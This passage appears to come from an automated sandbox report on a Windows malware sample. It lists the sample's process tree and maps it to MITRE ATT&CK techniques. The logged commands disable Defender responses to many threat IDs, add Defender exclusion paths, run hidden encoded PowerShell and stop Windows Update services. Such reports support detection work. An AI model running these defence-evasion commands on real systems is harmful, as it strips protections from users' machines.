    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4204
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5260
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6040
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6216
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6532
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6776
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6996
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:7084
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:7104
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5300
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6304
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6396
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6476
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6552
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6676
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6716
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6756
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ASzqexUQoQYU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ASzqexUQoQYU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HftjtbKAU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HftjtbKAU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fOyJABAJVqUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fOyJABAJVqUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gZbsNCHCUHjnC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gZbsNCHCUHjnC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\pEneveJtvffgyhgpOoR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\pEneveJtvffgyhgpOoR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\IKvTiaiyBfqRMFVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\IKvTiaiyBfqRMFVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\aBKjXYHBeJcAYhgyx\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\aBKjXYHBeJcAYhgyx\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\VmorTpuzYssbatkP\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\VmorTpuzYssbatkP\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  PID:6904
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ASzqexUQoQYU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5388
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ASzqexUQoQYU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:5156

C:\Windows\SysWOW64\control.exe
"C:\Windows\SysWOW64\control.exe"
1⤵
PID:5984
- C:\Windows\SysWOW64\cmd.exe
  /c del "C:\Users\Admin\AppData\Local\Temp\a\smss.exe"
  2⤵
  PID:4620

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:5776

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:5260
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:6636
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:6532
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:6828

C:\Windows\SYSTEM32\cmd.exe
cmd /c hing.bat
1⤵
PID:6540

C:\Users\Admin\Pictures\dJlDAlSCXvyDoNgT9SZNQ5Kc.exe
C:\Users\Admin\Pictures\dJlDAlSCXvyDoNgT9SZNQ5Kc.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=104.0.4944.28 --initial-client-data=0x2b4,0x2b8,0x2bc,0x290,0x2c0,0x693e5648,0x693e5658,0x693e5664
1⤵
PID:6784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery